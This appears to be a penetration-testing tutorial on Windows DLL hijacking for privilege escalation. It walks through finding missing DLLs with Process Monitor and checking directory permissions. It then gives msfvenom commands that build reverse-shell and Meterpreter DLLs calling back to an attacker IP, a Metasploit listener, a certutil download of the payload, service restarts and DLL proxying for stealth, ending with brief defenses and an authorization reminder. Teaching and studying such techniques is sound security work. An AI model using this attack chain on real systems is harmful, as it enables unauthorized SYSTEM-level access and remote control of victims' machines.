If you have ever wondered how attackers escalate privileges on Windows systems by abusing the way applications load libraries, DLL hijacking is one of the most reliable and underrated techniques in the toolkit. In this tutorial, we will walk through the entire process step by step - from discovery to exploitation.
What Is DLL Hijacking?
Dynamic Link Libraries (DLLs) are shared code modules that Windows applications load at runtime. When a program needs a DLL, Windows searches for it in a specific order of directories. DLL hijacking takes advantage of this search order by placing a malicious DLL in a location that Windows checks before the legitimate one.
The key insight is simple: if an application tries to load a DLL that does not exist, or if we can place our DLL earlier in the search order, we can get our code executed with the privileges of that application.
Understanding the DLL Search Order
When an application calls LoadLibrary() without specifying a full path, Windows searches in this order:
- The directory from which the application loaded
- The system directory (
C:\Windows\System32) - The 16-bit system directory (
C:\Windows\System) - The Windows directory (
C:\Windows) - The current working directory
- Directories listed in the PATH environment variable
This means that if we can write to any directory that appears earlier in the search order than the legitimate DLL location, we win. Even better, if the application looks for a DLL that simply does not exist on the system, we can place our payload in any writable location in the search path.
Step 1 - Finding Missing DLLs with Process Monitor
Process Monitor (ProcMon) from Microsoft's Sysinternals suite is our primary discovery tool. It lets us monitor file system activity in real time and filter for DLL loading attempts.
Download ProcMon from the Sysinternals website and run it on your target system (or a test system with the same software installed).
Set up these filters to narrow down the results:
- Operation is CreateFile - then Include
- Path ends with .dll - then Include
- Result is NAME NOT FOUND - then Include
Now start or restart the target application. ProcMon will show you every DLL that the application tried to load but could not find. Each "NAME NOT FOUND" result is a potential hijacking opportunity.
Look for entries where the application searches in directories you can write to. Pay special attention to:
- Application installation directories with weak permissions
- Directories in the user-controlled PATH
- The current working directory for the application
Verifying Write Permissions
Use icacls to check directory permissions:
icacls "C:\Program Files\VulnerableApp\"
Look for entries showing your user or group has (W) write, (M) modify, or (F) full control permissions. You can also use PowerShell:
Get-Acl "C:\Program Files\VulnerableApp\" | Format-List
Step 2 - Creating a Malicious DLL with msfvenom
Once you have identified a missing DLL and a writable location, it is time to create your payload. Msfvenom makes this straightforward:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f dll -o hijacked.dll
For a Meterpreter session instead:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f dll -o hijacked.dll
Rename the output file to match the missing DLL name that ProcMon identified. For example, if the application was looking for wlbsctrl.dll:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f dll -o wlbsctrl.dll
Step 3 - Setting Up the Listener
Before placing the DLL, set up your listener in Metasploit:
use exploit/multi/handler
set payload windows/x64/shell_reverse_tcp
set LHOST 10.10.14.5
set LPORT 4444
run
Step 4 - Placing the DLL and Triggering Execution
Transfer the malicious DLL to the target system and place it in the writable directory that appears in the DLL search order. Common methods include:
certutil -urlcache -split -f http://10.10.14.5:8080/wlbsctrl.dll C:\Temp\wlbsctrl.dll
copy C:\Temp\wlbsctrl.dll "C:\Program Files\VulnerableApp\wlbsctrl.dll"
Now you need the application to load (or reload) the DLL. Depending on the situation:
- Wait for a service restart
- Trigger the application to restart if you have that ability
- If the vulnerable application is a Windows service, check if you can restart it:
sc stop VulnService && sc start VulnService - Wait for a system reboot if the service starts automatically
When the application loads, it will find your malicious DLL and execute your payload with the application's privileges.
Real-World Example - IKEEXT Service
A classic example is the Windows IKEEXT (IKE and AuthIP IPsec Keying Modules) service. On some Windows versions, this service attempts to load wlbsctrl.dll, which does not exist by default. The service runs as SYSTEM, making it a high-value target.
If you can write to C:\Windows\System32 (unlikely in most hardened environments) or to a directory in the system PATH, you can place your DLL there and wait for the service to start.
Handling DLL Proxying
Sometimes the application genuinely needs the functions from the DLL to continue running. If your malicious DLL does not export the expected functions, the application may crash. DLL proxying solves this by forwarding legitimate function calls to the real DLL while also running your payload.
You can create a proxy DLL using tools like SharpDLLProxy or by manually writing a DLL that forwards exports:
#pragma comment(linker, "/export:OriginalFunction=legitimate.OriginalFunction")
This approach is stealthier and avoids crashing the host application.
Detection and Defense
As a penetration tester, understanding defenses helps you know what to expect:
- Application whitelisting (AppLocker, WDAC) can block unauthorized DLLs
- Sysmon Event ID 7 logs DLL loads with signature information
- Setting
SafeDllSearchModein the registry changes the search order - Proper ACLs on application directories prevent unauthorized writes
Wrapping Up
DLL hijacking is a powerful privilege escalation technique that exploits a fundamental aspect of how Windows loads libraries. The combination of ProcMon for discovery and msfvenom for payload creation gives you a repeatable workflow you can apply to any Windows target.
Remember to always document which DLLs you replaced during an engagement so they can be cleaned up afterward. And of course, only practice these techniques on systems you have explicit authorization to test.
If you found this helpful, check out our other Windows privilege escalation guides covering service misconfigurations and token manipulation.